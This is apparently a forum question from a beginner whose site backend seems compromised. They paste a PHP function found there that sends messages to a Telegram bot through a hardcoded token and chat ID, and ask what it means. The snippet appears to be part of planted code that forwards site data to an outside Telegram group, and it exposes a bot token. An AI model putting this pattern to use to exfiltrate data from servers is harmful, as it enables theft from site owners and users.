$token = "7801732:e86f77c898021ecaf7ed80da55a42467"; //tgkey
$chatid = "7801732"; //群组ID
//$mg = "hello";
function sendMessage($chatID, $messaggio, $token) {
//echo "sending message to " . $chatID . "\n";
$url = "https://api.telegram.org/bot" . $token . "/sendMessage?chat_id=" . $chatID;
$url = $url . "&text=" . urlencode($messaggio);
$ch = curl_init();
$optArray = array(
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
);
curl_setopt_array($ch, $optArray);
$result = curl_exec($ch);
curl_close($ch);
return $result;
入门一名, 只是感觉 后台被黑了,资料转去一个tg电报群。 求解释这段代码 白话什么意思